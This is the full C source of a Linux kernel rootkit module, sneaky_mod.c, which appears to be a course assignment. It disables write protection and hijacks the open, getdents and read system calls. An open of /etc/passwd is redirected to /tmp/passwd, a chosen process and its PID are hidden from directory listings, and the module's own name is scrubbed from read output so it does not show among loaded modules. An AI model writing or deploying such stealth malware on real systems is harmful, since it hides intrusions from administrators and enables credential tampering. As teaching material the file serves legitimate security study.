/
sneaky_mod.c
175 lines (147 loc) · 6.08 KB
/
sneaky_mod.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#include <linux/module.h> // for all modules
#include <linux/init.h> // for entry/exit macros
#include <linux/kernel.h> // for printk and other kernel bits
#include <asm/current.h> // process information
#include <linux/sched.h>
#include <linux/highmem.h> // for changing page permissions
#include <asm/unistd.h> // for system call constants
#include <linux/kallsyms.h>
#include <asm/page.h>
#include <asm/cacheflush.h>
struct linux_dirent {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
char d_name[];
};
//Macros for kernel functions to alter Control Register 0 (CR0)
//This CPU has the 0-bit of CR0 set to 1: protected mode is enabled.
//Bit 0 is the WP-bit (write protection). We want to flip this to 0
//so that we can change the read/write permissions of kernel pages.
#define read_cr0() (native_read_cr0())
#define write_cr0(x) (native_write_cr0(x))
//These are function pointers to the system calls that change page
//permissions for the given address (page) to read-only or read-write.
//Grep for "set_pages_ro" and "set_pages_rw" in:
// /boot/System.map-`$(uname -r)`
// e.g. /boot/System.map-3.13.0.77-generic
void (*pages_rw)(struct page *page, int numpages) = (void *)0xffffffff81059d90;
void (*pages_ro)(struct page *page, int numpages) = (void *)0xffffffff81059df0;
//This is a pointer to the system call table in memory
//Defined in /usr/src/linux-source-3.13.0/arch/x86/include/asm/syscall.h
//We're getting its adddress from the System.map file (see above).
MODULE_LICENSE("ROOTKIT");
MODULE_AUTHOR("TENG HU");
static unsigned long *sys_call_table = (unsigned long*)0xffffffff81801400;
static int PID = 0;
module_param(PID, int, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
MODULE_PARM_DESC(PID, "An integer");
//Function pointer will be used to save address of original 'open' syscall.
//The asmlinkage keyword is a GCC #define that indicates this function
//should expect ti find its arguments on the stack (not in registers).
//This is used for all system calls.
asmlinkage int (*original_call)(const char *pathname, int flags);
//Define our new sneaky version of the 'open' syscall
asmlinkage int sneaky_sys_open(const char *pathname, int flags)
{
if (strstr(pathname, "/etc/passwd") != NULL) {
char replace[] = "/tmp/passwd";
copy_to_user((void *)pathname, &replace, sizeof(replace));
return original_call(pathname, flags);
} else {
//printk(KERN_INFO "Very, very Sneaky!\n");
return original_call(pathname, flags);
}
}
//getdents
asmlinkage int (*original_getdents)(unsigned int fd, struct linux_dirent * dirp, unsigned int count);
asmlinkage int sneaky_sys_getdents(unsigned int fd, struct linux_dirent * dirp, unsigned int count) {
int nread = original_getdents(fd, dirp, count);
int remain = nread;
char str_PID[50];
struct linux_dirent * temp = dirp;
sprintf(str_PID, "%d", PID);
while (remain > 0) {
remain -= temp->d_reclen;
if (strstr(temp->d_name, "sneaky_process") != NULL || strstr(temp->d_name, str_PID) != NULL) {
nread -= temp->d_reclen;
if (remain > 0) {
memmove(temp, (char *)temp + temp->d_reclen, remain);
}
} else {
temp = (struct linux_dirent * )((char * )temp + temp->d_reclen);
}
}
return nread;
}
//read
asmlinkage ssize_t (*original_read)(int fd, void * buf, size_t count);
asmlinkage ssize_t sneaky_sys_read(int fd, void * buf, size_t count) {
int nread = original_read(fd, buf, count);
char * head = strstr((char *)buf, "sneaky_mod");
if (head != NULL) {
char * newline = strchr(head, '\n');;
if (newline != NULL) {
nread -= (newline - head + 1);
memmove(head, newline + 1, strlen(newline + 1) + 1);
return (ssize_t)nread;
}
} else {
return (ssize_t)nread;
}
return (ssize_t)nread;
}
//The code that gets executed when the module is loaded
static int initialize_sneaky_module(void)
{
struct page *page_ptr;
//See /var/log/syslog for kernel print output
printk(KERN_INFO "Sneaky module being loaded.\n");
printk(KERN_INFO "PID is %d\n", PID);
//Turn off write protection mode
write_cr0(read_cr0() & (~0x10000));
//Get a pointer to the virtual page containing the address
//of the system call table in the kernel.
page_ptr = virt_to_page(&sys_call_table);
//Make this page read-write accessible
pages_rw(page_ptr, 1);
//This is the magic! Save away the original 'open' system call
//function address. Then overwrite its address in the system call
//table with the function address of our new code.
original_call = (void*)*(sys_call_table + __NR_open);
*(sys_call_table + __NR_open) = (unsigned long)sneaky_sys_open;
//getdents
original_getdents = (void*)*(sys_call_table + __NR_getdents);
*(sys_call_table + __NR_getdents) = (unsigned long)sneaky_sys_getdents;
//read
original_read = (void*)*(sys_call_table + __NR_read);
*(sys_call_table + __NR_read) = (unsigned long)sneaky_sys_read;
//Revert page to read-only
pages_ro(page_ptr, 1);
//Turn write protection mode back on
write_cr0(read_cr0() | 0x10000);
return 0; // to show a successful load
}
static void exit_sneaky_module(void)
{
struct page *page_ptr;
printk(KERN_INFO "Sneaky module being unloaded.\n");
//Turn off write protection mode
write_cr0(read_cr0() & (~0x10000));
//Get a pointer to the virtual page containing the address
//of the system call table in the kernel.
page_ptr = virt_to_page(&sys_call_table);
//Make this page read-write accessible
pages_rw(page_ptr, 1);
//This is more magic! Restore the original 'open' system call
//function address. Will look like malicious code was never there!
*(sys_call_table + __NR_open) = (unsigned long)original_call;
*(sys_call_table + __NR_getdents) = (unsigned long)original_getdents;
*(sys_call_table + __NR_read) = (unsigned long)original_read;
//Revert page to read-only
pages_ro(page_ptr, 1);
//Turn write protection mode back on
write_cr0(read_cr0() | 0x10000);
}
module_init(initialize_sneaky_module); // what's called upon loading
module_exit(exit_sneaky_module); // what's called upon unloading